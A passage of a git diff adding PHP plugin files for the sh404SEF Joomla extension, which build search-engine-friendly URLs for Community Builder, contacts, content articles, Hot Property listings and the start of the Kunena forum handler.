array(($sefConfig->shCBUseUserPseudo?'user':'').'name') + , array( 'id' => $user)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $title[] = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_CB_USER'].$sefConfig->replacement.$user // put ID + : ($sefConfig->shCBInsertUserId ? $user.$sefConfig->replacement.$result : $result); // if name, put ID only if requested + shRemoveFromGETVarsList('user'); + } + shRemoveFromGETVarsList('task'); + break; + case 'userslist': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_VIEW_USERS_LIST']; + // manage listid + if (!empty($listid)) { + + try { + $result = ShlDbHelper::selectObject( '#__comprofiler_lists' + , array( 'listid', 'title') + , array( 'listid' => $listid)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $title[] = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_CB_LIST'].$sefConfig->replacement.$listid // put ID + : $result->title; // if name, put ID only if requested + shRemoveFromGETVarsList('listid'); + } + shRemoveFromGETVarsList('task'); + break; + case 'reportuser': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_REPORT_USER']; + // add user name if set to do so / user id is in $uid + if ($sefConfig->shCBInsertUserName) { + + try { + $result = ShlDbHelper::selectResult( '#__users' + , array(($sefConfig->shCBUseUserPseudo?'user':'').'name') + , array( 'id' => $uid)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $title[] = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_CB_USER'].$sefConfig->replacement.$uid // put ID + : ($sefConfig->shCBInsertUserId ? $uid.$sefConfig->replacement.$result : $result); // if name, put ID only if requested + shRemoveFromGETVarsList('uid'); + } + shRemoveFromGETVarsList('task'); + break; + case 'banprofile' : + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + switch ($act) { + case 0: + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_USER_UNBAN']; + shRemoveFromGETVarsList('act'); + shRemoveFromGETVarsList('task'); + break; + case 1: + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_USER_BAN']; + shRemoveFromGETVarsList('act'); + shRemoveFromGETVarsList('task'); + break; + case 2: + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_USER_BAN_REQUEST']; + shRemoveFromGETVarsList('act'); + shRemoveFromGETVarsList('task'); + break; + } + // add user name if set to do so / user id is in $uid + if ($sefConfig->shCBInsertUserName) { + + try { + $result = ShlDbHelper::selectResult( '#__users' + , array(($sefConfig->shCBUseUserPseudo?'user':'').'name') + , array( 'id' => $uid)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $title[] = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_CB_USER'].$sefConfig->replacement.$uid // put ID + : ($sefConfig->shCBInsertUserId ? $uid.$sefConfig->replacement.$result : $result); // if name, put ID only if requested + shRemoveFromGETVarsList('uid'); + } + break; + case 'confirm': + $dosef = false; + break; + case 'logout': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + if (!empty($sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION'])) + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION']; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_LOGOUT']; + shRemoveFromGETVarsList('task'); + break; + case 'userprofile': + if ($sefConfig->shCBShortUserURL) { + + try { + $result = ShlDbHelper::selectResult( '#__users' + , array(($sefConfig->shCBUseUserPseudo?'user':'').'name') + , array( 'id' => $user)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $title[] = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_CB_USER'].$sefConfig->replacement.$user: $result; + $title[] = '/'; + shRemoveFromGETVarsList('user'); + } else { + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_VIEW_USER_PROFILE']; + // add user name to URL if requested to do so. User id is in $user + if ($sefConfig->shCBInsertUserName && !empty($user)) { // V 1.2.4.r + + try { + $result = ShlDbHelper::selectResult( '#__users' + , array(($sefConfig->shCBUseUserPseudo?'user':'').'name') + , array( 'id' => $user)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $title[] = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_CB_USER'].$sefConfig->replacement.$user // put ID + : ($sefConfig->shCBInsertUserId ? $user.$sefConfig->replacement.$result : $result); // if name, put ID only if requested + shRemoveFromGETVarsList('user'); + } + } + shRemoveFromGETVarsList('task'); + break; + case 'manageconnections': + $dosef = false; + break; + case 'login': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + if (!empty($sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION'])) + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION']; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_LOGIN']; + shRemoveFromGETVarsList('task'); + break; + case 'lostpassword': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + // optional first part of URL, to be set in language file + if (!empty($sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION'])) + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION']; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_LOST_PASSWORD']; + shRemoveFromGETVarsList('task'); + break; + case 'registers': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + // optional first part of URL, to be set in language file + if (!empty($sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION'])) + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTRATION']; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_REGISTER']; + shRemoveFromGETVarsList('task'); + break; + case 'moderatebans': + $dosef = false; + break; + case 'moderatereports': + $dosef = false; + break; + case 'moderateimages': + $dosef = false; + break; + case 'pendingapprovaluser': + $dosef = false; + break; + case 'useravatar': + $do = isset($do) ? @$do : null; + switch (strtolower($do)) { + case 'deleteavatar': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_DELETE_AVATAR']; + shRemoveFromGETVarsList('do'); + shRemoveFromGETVarsList('task'); + break; + default: + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_MANAGE_AVATAR']; + shRemoveFromGETVarsList('task'); + break; + } + break; + case 'emailuser': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_EMAIL_USER']; + // add user name if set to do so / user id is in $uid + if ($sefConfig->shCBInsertUserName) { + + try { + $result = ShlDbHelper::selectResult( '#__users' + , array(($sefConfig->shCBUseUserPseudo?'user':'').'name') + , array( 'id' => $uid)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $title[] = empty($result)? // no name available + $sh_LANG[$shLangIso]['_SH404SEF_CB_USER'].$sefConfig->replacement.$uid // put ID + : ($sefConfig->shCBInsertUserId ? $uid.$sefConfig->replacement.$result : $result); // if name, put ID only if requested + shRemoveFromGETVarsList('uid'); + } + shRemoveFromGETVarsList('task'); + break; + case 'teamcredits': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_TEAM_CREDITS']; + shRemoveFromGETVarsList('task'); + break; + case '': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; // V 1.2.4.t + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_MAIN_PAGE']; + shRemoveFromGETVarsList('task'); + break; + default: + $dosef = false; + break; +} + +// V 1.2.4.s : fix for CB not passing $limit value in some URL : breaks pagination +if (isset($limitstart) && empty($limit)) { + if (empty($ueConfig)) { + $sh_CB_joomla_adminpath = sh404SEF_ABS_PATH. 'administrator'; + $sh_CB_adminpath = $sh_CB_joomla_adminpath. '/components/com_comprofiler'; + include($sh_CB_adminpath."/ue_config.php" ); + } + $limit = $ueConfig['num_per_page']; + shAddToGETVarsList('limit', $limit); + shRemoveFromGETVarsList('limit'); +} + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_contact.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_contact.php new file mode 100644 index 00000000..9b410919 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_contact.php @@ -0,0 +1,180 @@ +shInsertGlobalItemidIfNone && !empty($shCurrentItemid)) { + $string .= '&Itemid='.$shCurrentItemid; // append current Itemid + $Itemid = $shCurrentItemid; + shAddToGETVarsList('Itemid', $Itemid); // V 1.2.4.m + } + if ($sefConfig->shInsertTitleIfNoItemid) + $title[] = $sefConfig->shDefaultMenuItemName ? + $sefConfig->shDefaultMenuItemName : getMenuTitle($option, null, $shCurrentItemid ); + $shItemidString = $sefConfig->shAlwaysInsertItemid ? + JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement.$shCurrentItemid + : ''; +} else { // if Itemid in non-sef URL + $shItemidString = $sefConfig->shAlwaysInsertItemid ? + JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement.$Itemid + : ''; +} + +// collect probable url vars +$view = isset($view) ? $view : null; +$Itemid = isset($Itemid) ? $Itemid : null; +$id = isset($id) ? $id : null; +$catid = isset($catid) ? $catid : null; + +// optional prefix +$shName = shGetComponentPrefix( $option); +if (!empty($shName) && $shName != '/') { + $title[] = $shName; +} + +// joomla content models +$slugsModel = Sh404sefModelSlugs::getInstance(); +$menuItemTitle = getMenuTitle( null, $view, (isset($Itemid) ? $Itemid : null), '', $shLangName); +$uncategorizedPath = $sefConfig->slugForUncategorizedContact == shSEFConfig::COM_SH404SEF_UNCATEGORIZED_EMPTY ? '' : $menuItemTitle; + +$slugsArray = array(); + +switch ($view) { + case 'featured': + if (!empty($menuItemTitle)) { + $title[] = $menuItemTitle; + $title[] = '/'; + } else { + $dosef = false; + } + shMustCreatePageId( 'set', true); + break; + case 'category' : + + // fetch cat name + if(!empty( $id)) { + try { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_contact', $id, $sefConfig->includeContactCatCategories, $sefConfig->useContactCatAlias, $insertId = false, $menuItemTitle, $shLangName); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + $slugsArray[] = '/'; + } else { + if (!empty($menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } else { + $dosef = false; + } + } + if(!empty($slugsArray)) { + $title = array_merge( $title, $slugsArray); + } + shRemoveFromGETVarsList('id'); + shRemoveFromGETVarsList('catid'); // still in use? probably a bug in sample data + shMustCreatePageId( 'set', true); + break; + case 'categories': + // get category(ies) path + if (!empty($id)) { + try { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_contact', $id, $sefConfig->includeContactCatCategories, $sefConfig->useContactCatAlias, $insertId = false, $menuItemTitle, $shLangName); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + // insert a suffix to distinguish from normal category listing + if(!empty( $sefConfig->contactCategoriesSuffix)) { + $slugsArray[] = $sefConfig->contactCategoriesSuffix; + } + // end with a directory sign + $slugsArray[] = '/'; + } else { + if (!empty($menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } else { + $dosef = false; + } + } + if(!empty($slugsArray)) { + $title = array_merge( $title, $slugsArray); + } + shRemoveFromGETVarsList('id'); + shMustCreatePageId( 'set', true); + break; + case 'contact' : + + // insert category, as per settings + if(!empty( $catid)) { + try { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_contact', $catid, $sefConfig->includeContactCat, $sefConfig->useContactCatAlias, $insertId = false, $menuItemTitle, $shLangName); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + if(!empty($slugsArray)) { + $title = array_merge( $title, $slugsArray); + } + shRemoveFromGETVarsList('catid'); + } + + // fetch contact name + if (!empty($id)) { + shRemoveFromGETVarsList('id'); + try { + $result = ShlDbHelper::selectObject( '#__contact_details' + , array( 'name', 'id') + , array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + if (!empty($result)) { + $title[] = $result->name; + shMustCreatePageId( 'set', true); + } else { + $title[] = $id; + } + } + break; + default: + $dosef = false; + break; +} + +shRemoveFromGETVarsList('option'); +if (!empty($Itemid)) + shRemoveFromGETVarsList('Itemid'); +shRemoveFromGETVarsList('lang'); +if (!empty($view)) + shRemoveFromGETVarsList('view'); + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_content.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_content.php new file mode 100644 index 00000000..8401afee --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_content.php @@ -0,0 +1,198 @@ +shInsertGlobalItemidIfNone && !empty($shCurrentItemid)) { + $string .= '&Itemid='.$shCurrentItemid; ; // append current Itemid + $Itemid = $shCurrentItemid; + shAddToGETVarsList('Itemid', $Itemid); // V 1.2.4.m + } + + if ($sefConfig->shInsertTitleIfNoItemid) + $title[] = $sefConfig->shDefaultMenuItemName ? + $sefConfig->shDefaultMenuItemName : getMenuTitle($option, (isset($view) ? $view : null), $shCurrentItemid, null, $shLangName ); // V 1.2.4.q added forced language + $shItemidString = ''; + if ($sefConfig->shAlwaysInsertItemid && (!empty($Itemid) || !empty($shCurrentItemid))) + $shItemidString = JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement + .(empty($Itemid)? $shCurrentItemid :$Itemid); + } else { // if Itemid in non-sef URL + $shItemidString = $sefConfig->shAlwaysInsertItemid ? + JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement.$Itemid + : ''; + if ($sefConfig->shAlwaysInsertMenuTitle){ + //global $Itemid; V 1.2.4.g we want the string option, not current page ! + if ($sefConfig->shDefaultMenuItemName) + $title[] = $sefConfig->shDefaultMenuItemName;// V 1.2.4.q added force language + elseif ($menuTitle = getMenuTitle($option, (isset($view) ? $view : null), $Itemid, '',$shLangName )) { + if ($menuTitle != '/') $title[] = $menuTitle; + } + } + } + // V 1.2.4.m + shRemoveFromGETVarsList('option'); + shRemoveFromGETVarsList('lang'); + if (!empty($Itemid)) + shRemoveFromGETVarsList('Itemid'); + if (!empty($limit)) + shRemoveFromGETVarsList('limit'); + if (isset($limitstart)) + shRemoveFromGETVarsList('limitstart'); + + $view = isset($view) ? $view : null; + $layout = isset($layout) ? $layout : null; + $task = isset($task) ? $task : null; + switch ($view) { + case 'archivecategory': + case 'archivesection' : + case 'archive' : + $dosef = false; + break; + case 'form': + if ($layout == 'edit' && empty($a_id)) { // submit new article + $title[] = 'f'; // must differentiate view=form urls from task=article.edit or article add, otherwise, joomla loops + if(!empty($catid)) + { + $title[] = $catid; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_CREATE_NEW']; + } else { + $dosef = false; + } + break; + default: + if (sh404SEF_PDF_DIR && $view == 'article' && !empty($format) && $format == 'pdf') { + $title[] = sh404SEF_PDF_DIR; // insert pdf directory + shMustCreatePageId( 'set', true); + } + + // V 1.2.4.j 2007/04/11 : numerical ID, on some categories only + if ($sefConfig->shInsertNumericalId && isset($sefConfig->shInsertNumericalIdCatList) + && !empty($id) && ($view == 'article')) { + + try { + $contentElement = ShlDbHelper::selectObject( '#__content', array( 'id', 'catid', 'created'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + if ($contentElement) { + $foundCat = array_search($contentElement->catid, $sefConfig->shInsertNumericalIdCatList); + if (($foundCat !== null && $foundCat !== false) + || ($sefConfig->shInsertNumericalIdCatList[0] == '')) { // test both in case PHP < 4.2.0 + $shTemp = explode(' ', $contentElement->created); + $title[] = str_replace('-','', $shTemp[0]).$contentElement->id; + } + } + } + + // use libray function to fetch Joomla content title + if ($task == 'article.edit' || $task == 'article.add') { + if (empty($a_id)) { // submit new article + if(!empty($catid)) + { + $title[] = $catid; + } + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_CREATE_NEW']; + shRemoveFromGETVarsList('task'); + } else { + $dosef = false; + } + } else if (empty($layout) || (!empty($layout) && $layout != 'edit')) { + + $contentTitle = sef_404::getContentSlugsArray((isset($view) ? $view : null),(isset($id) ? $id : null), + (isset($layout) ? $layout : null), (isset($Itemid) ? $Itemid : null), $shLangName); + if (!empty($title)) { + $title = array_merge($title, $contentTitle); // V 1.2.4.q added forced language + } else { + $title = $contentTitle; // V 1.2.4.q added forced language + } + if (!empty($format) && $format == 'feed'){ + $title[] = $format; + if (!empty($type) && $format != $type) + $title[] = $type; + } + if (!empty($print)) { + $title[] = JText::_( 'Print' ); + } else { + shMustCreatePageId( 'set', true); + } + } else { + $dosef = false; + } + + } + // V 1.2.4.q + shRemoveFromGETVarsList('view'); + if (isset($id)) + shRemoveFromGETVarsList('id'); + if (isset($layout)) + shRemoveFromGETVarsList('layout'); + // only remove format variable if forma tis html. In all other situations, leave it there as some + // system plugins may cause pdf and rss to break if they call JFactory::getDocument() in the onAfterInitialize event handler + // because at this time SEF url are not decoded yet. + if (isset($format) && (!sh404SEF_PROTECT_AGAINST_DOCUMENT_TYPE_ERROR || (sh404SEF_PROTECT_AGAINST_DOCUMENT_TYPE_ERROR && $format == 'html'))) + shRemoveFromGETVarsList('format'); + if (isset($type)) + shRemoveFromGETVarsList('type'); + if (!empty($catid)) + shRemoveFromGETVarsList('catid'); // V 1.2.4.m + if (isset($showall)) + shRemoveFromGETVarsList('showall'); + if (empty($page)) // remove page if not set or 0 + shRemoveFromGETVarsList('page'); + if (isset($print)) + shRemoveFromGETVarsList('print'); + if (isset($tmpl) && $tmpl == 'component') // remove if 'component', show otherwise as querystring + shRemoveFromGETVarsList('tmpl'); + + // ------------------ standard plugin finalize function - don't change --------------------------- + if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? $limit : null), (isset($limitstart) ? $limitstart : null), + (isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null)); + } + // ------------------ standard plugin finalize function - don't change --------------------------- +} else { // this is multipage homepage + $title[] = '/'; + $string = sef_404::sefGetLocation( $string, $title, null, (isset($limit) ? $limit : null), + (isset($limitstart) ? $limitstart : null), (isset($shLangName) ? $shLangName : null), + (isset($showall) ? $showall : null)); +} diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_hotproperty.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_hotproperty.php new file mode 100644 index 00000000..0dbd0a1f --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_hotproperty.php @@ -0,0 +1,338 @@ +shInsertGlobalItemidIfNone + && !empty($shCurrentItemid)) { + $string .= '&Itemid='.$shCurrentItemid; ; // append current Itemid + $Itemid = $shCurrentItemid; + shAddToGETVarsList('Itemid', $Itemid); // V 1.2.4.m +} +$task = isset($task) ? $task : null; +$id = isset($id) ? $id : null; +$agent_id = isset($agent_id) ? $agent_id : null; +$limit = isset($limit) ? $limit : null; +$limitstart = isset($limitstart) ? $limitstart : null; + +// $search // not processed, passed as GET var +// $type // not processed, passed as GET var +// $search_id // not processed, passed as GET var + +// shumisha : insert component name from menu +// Configuration variable +$shInsertHotPropName = true; // if yes, name is inserted +$shHotPropName = shGetComponentPrefix($option); +$shHotPropName = empty($shHotPropName) ? getMenuTitle($option, null, $Itemid, null, $shLangName ) +: $shHotPropName; +//$shHotPropName = (empty($shHotPropName) || $shHotPropName == '/') ? 'Directory':$shHotPropName; // V 1.2.4.t +if ($shInsertHotPropName && !empty($shHotPropName)) $title[] = $shHotPropName; + +switch ($task) { + + // View Property + case 'view': + if ( is_numeric($id) ) { + try { + $db = ShlDbHelper::getDb(); + $db->setQuery( "SELECT t.id,t.name AS type_name, p.id, p.name AS property_name FROM #__hp_properties AS p" + . "\nLEFT JOIN #__hp_prop_types AS t ON p.type = t.id" + . "\nWHERE p.id = ". $db->Quote( $id)); + $row = $db->loadObject(); + + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_PROPERTY']; + $title[] = $row->type_name; + $title[] = $row->property_name; + shRemoveFromGETVarsList('task'); + shRemoveFromGETVarsList('id'); + } catch( Exception $e) { + $dosef = false; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } else { + $dosef = false; + } + break; + + // View Type + case 'viewtype': + $type_id = $id; + if ( is_numeric($type_id) ) { + try { + + $row = ShlDbHelper::selectObject( '#__hp_prop_types', array( 'id', 'name'), array( 'id' => $type_id)); + + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_PROPERTY']; + $title[] = $row->name; + + // --- Sort & Order + if (!isset($sort)) { + global $hp_default_order; + $sort = $hp_default_order; + } + + if (!isset($order)) { + global $hp_default_order2; + $order = $hp_default_order2; + } + + global $hp_default_order,$hp_default_order2,$hp_default_limit; + + if ( $sort <> '' && $order <> '' && !( $sort == $hp_default_order && $order == $hp_default_order2 && $limitstart == 0 && $limit == $hp_default_limit) ) { + $title[] = $sort; + $title[] = $order; + shRemoveFromGETVarsList('sort'); + shRemoveFromGETVarsList('order'); + } + shRemoveFromGETVarsList('task'); + shRemoveFromGETVarsList('id'); + } catch( Exception $e) { + $dosef = false; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } else { + $dosef = false; + } + break; + + // View Featured + case 'viewfeatured': + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_FEATURED']; + $title[] = '/'; + shRemoveFromGETVarsList('task'); + break; + + // View Agent + case 'viewagent' : + + $agent_id = $id; + // This condition allows listagent module to work so that $agent_id can be a javascript expression. + if ( is_numeric($agent_id) ) { + try { + $db = ShlDbHelper::getDb(); + $db->setQuery( "SELECT a.id, a.name AS agent_name, c.id, c.name AS company_name FROM #__hp_agents AS a" + . "\nLEFT JOIN #__hp_companies AS c ON a.company = c.id" + . "\nWHERE a.id = ".$db->Quote( $agent_id) + ); + + $row = $db->loadObject(); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + if (!empty($row)) { + $title[] = $row->company_name; + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_VIEWAGENT']; + $title[] = $row->agent_name; + $title[] = '/'; + shRemoveFromGETVarsList('id'); + } else { // for some reason, no name and company : just put a text. $id will be passed as GET var + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_VIEWAGENT']; + } + shRemoveFromGETVarsList('task'); + } else { + $dosef = false; + } + + break; + + // View Company / View Company Email / Send Company Email + case 'viewco': + case 'viewcoemail': + case 'sendenquiry': + + $company_id = $id; + shRemoveFromGETVarsList('task'); + // This condition allows listagent module to work so that $agent_id can be a javascript expression. + try { + if ( is_numeric($company_id) ) { + $row = ShlDbHelper::selectObject( '#__hp_companies', array( 'id', 'name'), array( 'id' => $company_id)); + // View Company + switch ($task) { + case 'viewco': + if (!empty($row)) { + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_COMPANY']; + $title[] = $row->name; + $title[] = '/'; + shRemoveFromGETVarsList('id'); + } else { + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_COMPANY']; + } + + break; + + // View Company Email + case 'viewcoemail' : + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_EMAIL']; + $title[] = $row->name; + shRemoveFromGETVarsList('id'); + break; + + // Send Enquiry Email + case 'sendenquiry' : + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_SENDENQUIRY']; + $title[] = $row->name; + shRemoveFromGETVarsList('id'); + // Sendenquiry does not use this ID to determine whether this is directed to company or agent, the form has a hidden field called 'sbj' to distinguish this. + break; + } + } else { + $dosef = false; + } + + } catch( Exception $e) { + $dosef = false; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + break; + + // View Agent Email + case 'viewagentemail': + + $agent_id = id; + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_EMAIL']; + shRemoveFromGETVarsList('task'); + if ( is_numeric($agent_id) ) { + try { + $db = ShlDbHelper::getDb(); + $db->setQuery( "SELECT a.id, a.name AS agent_name, c.id, c.name AS company_name FROM #__hp_agents AS a" + . "\nLEFT JOIN #__hp_companies AS c ON a.company = c.id" + . "\nWHERE a.id = ".$db->Quote( $agent_id) + . "\nLIMIT 1" + ); + $row = $db->loadObject(); + + $title[] = $row->company_name; + $title[] = $row->agent_name; + $title[] = '/'; + shRemoveFromGETVarsList('id'); + } catch( Exception $e) { + $dosef = false; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } else { + $dosef = false; + } + break; + + // Standard Search + case 'search' : + global $sufix; + //require( sh404SEF_ABS_PATH.'administrator/components/com_hotproperty/config.hotproperty.php' ); + + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_SEARCH']; + //$title[] = '/'; + shRemoveFromGETVarsList('task'); + // type and search are left as GET VARS, we don't want them in DB (we could have type though) + break; + + // Advanced Search + case 'advsearch': + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_ADVSEARCH']; + $title[] = '/'; + shRemoveFromGETVarsList('task'); + break; + + // Advanced Search Result + case 'asearch' : + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_SEARCHRESULT']; + $title[] = '/'; + shRemoveFromGETVarsList('task'); + // search_id is left as GET var, don't want in DB + break; + + // Manage Property + case 'manageprop' : + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_MANAGEPROP']; + $title[] = '/'; + shRemoveFromGETVarsList('task'); + break; + + // Edit Agent + case 'editagent' : + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_EDITAGENT']; + $title[] = '/'; + shRemoveFromGETVarsList('task'); + break; + + // Add Property + case 'addprop' : + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_ADDPROPERTY']; + $title[] = '/'; + shRemoveFromGETVarsList('task'); + break; + + // Edit Property + case 'editprop' : + //$id = property id / left as GET var + $title[] = $sh_LANG[$shLangIso]['_HP_SEF_EDITPROPERTY']; + $title[] = '/'; + shRemoveFromGETVarsList('task'); + break; + + case '': + if (empty( $title)) $title[] = $shHotPropName; // at least put defautl name, even if told not to do so + $title[] = '/'; + break; + + default: + $dosef = false; + break; + +} + +/* sh404SEF extension plugin : remove vars we have used, adjust as needed --*/ +shRemoveFromGETVarsList('option'); +shRemoveFromGETVarsList('lang'); +shRemoveFromGETVarsList('Itemid'); +if (isset($limit)) + shRemoveFromGETVarsList('limit'); +if (isset($limitstart)) + shRemoveFromGETVarsList('limitstart'); // limitstart can be zero +/* sh404SEF extension plugin : end of remove vars we have used -------------*/ + + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_kunena.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_kunena.php new file mode 100644 index 00000000..343a0be7 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_kunena.php @@ -0,0 +1,1004 @@ +shFbInsertCategoryName) + { + return ''; + } + + if (class_exists('KunenaForum')) + { + // Kunena 2.0 support + $category = KunenaForumCategory::getInstance($catid); + $catname = $category->name; + } + elseif (class_exists('KunenaRouter')) + { + if (KunenaRouter::$catidcache === null) + { + KunenaRouter::loadCategories(); + } + // Kunena 1.6 support + $catname = 